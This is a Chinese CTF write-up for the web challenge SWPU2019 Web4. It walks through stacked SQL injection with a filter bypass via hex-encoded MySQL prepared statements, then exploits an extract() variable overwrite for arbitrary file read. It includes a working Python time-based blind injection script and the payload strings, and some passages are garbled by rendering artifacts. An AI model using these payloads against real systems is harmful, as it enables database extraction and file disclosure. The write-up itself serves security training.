[SWPU2019]Web4
参考:https://www.anquanke.com/post/id/194640#h3-4
题目只有一个登录框,输入账号密码后点击登陆页面无任何相应,注册功能也是尚未开放。查看源代码可以看到一个js文件,F12也可以看到一个网络请求。
js主要功能是将username和password以json格式然后发给index.php?r=Login/Login。
不难发现,username中加入单引号会直接500错误,而闭合引号后会正常显示。因此可大致确定注入存在,随后开始构造payload。由于题目对username进行了严格的检测,所以无法使用单语句进行注入,但是注入点又存在,于是可以尝试进行堆叠注入。(很多师傅可能就因为不友好的回显卡在这里)
在单引号后加入分号(😉,若无法多语句执行,返回页面按理说应该是500,但在这里可以看到正常回显,说明可能存在堆叠注入
关于PDO场景下的SQL注入,具体可以查看https://xz.aliyun.com/t/3950
由于过滤了select,if,sleep,substr等大多数注入常见的单词,但是注入又不得不使用其中的某些单词。那么在这里我们就可以用16进制+mysql预处理来绕过。
mysql> select hex('select sleep(5)');
+--------------------------------+
| hex('select sleep(5)') |
+--------------------------------+
| 73656C65637420736C656570283529 |
+--------------------------------+
1 row in set (0.01 sec)
mysql> set @a=0x73656C65637420736C656570283529;
Query OK, 0 rows affected (0.00 sec)
mysql> prepare test from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared
mysql> execute test;
+----------+
| sleep(5) |
+----------+
| 0 |
+----------+
1 row in set (5.00 sec)
#author: c1e4r
import requests
import json
import time
def main():
#题目地址
url = '''http://568215bc-57ff-4663-a8d9-808ecfb00f7f.node3.buuoj.cn/index.php?r=Login/Login'''
#注入payload
payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
flag = ''
for i in range(1,30):
#查询payload
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0,128):
#将构造好的payload进行16进制转码和json转码
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
if __name__ == '__main__':
main()
不知道是不是网速不太好,多测试几遍总结出来:glzjin_wants_a_girl_friend.zip
应该是源码
大致的文件就是这样,看样子就是一个简单的mvc框架。很明显,我们要通过某种方法将flag.php中的文件内容给读取出来。
先说下url大致的解析流程:从r参数中获取要访问的Controller以及Action,然后以/分隔开后拼接成完整的控制器名。以Login/Index为例,就是将Login/Index分隔开分别拼接成LoginController以及actionIndex,然后调用LoginController这个类中的actionIndex方法。每个action里面会调用对应的loadView()方法进行模版渲染,然后将页面返回给客户端。若访问的Controller不存在则默认解析Login/Index。
下面看下某些的关键代码:
/Controller/BaseController.php
....
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}
其中 ,BaseController的loadView方法发现使用了extract,后面又include了一个文件。那么意味着只要 v i e w D a t a 可 控 我 们 即 可 覆 盖 掉 viewData可控我们即可覆盖掉 viewData可控我们即可覆盖掉this->viewPath文件中的某些变量。而 t h i s − > v i e w P a t h 正 是 要 返 回 给 客 户 端 的 。 寻 找 几 个 调 用 l o a d V i e w 的 方 法 , 发 现 一 个 对 this->viewPath正是要返回给客户端的。 寻找几个调用loadView的方法,发现一个对 this−>viewPath正是要返回给客户端的。寻找几个调用loadView的方法,发现一个对viewData完全可控的地方
/Controller/UserController.php
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}
$listData是从REQUEST提取出来的,完全可控。而其对应的/View/userIndex.php中存在一个文件读取
.......
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">'; //图片形式展示
?></div>
</div>
</div>
</div>
</body>
</html>
<?php
function imgToBase64($img_file) {
return $img_base64; //返回图片的base64
}
?>
大致意思为读取$img_file的内容,然后以base64的形式输出图片。
i
m
g
f
i
l
e
可
通
过
e
x
t
r
a
c
t
(
img_file可通过extract(
imgfile可通过extract(viewData)变量覆盖漏洞完全控制,而$viewData是受用户控制的完全控制的。所以这里就存在一个任意文件读取漏洞。
所以访问:index.php?r=User/Index&img_file=/…/flag.php可直接获取flag.php经base64后的内容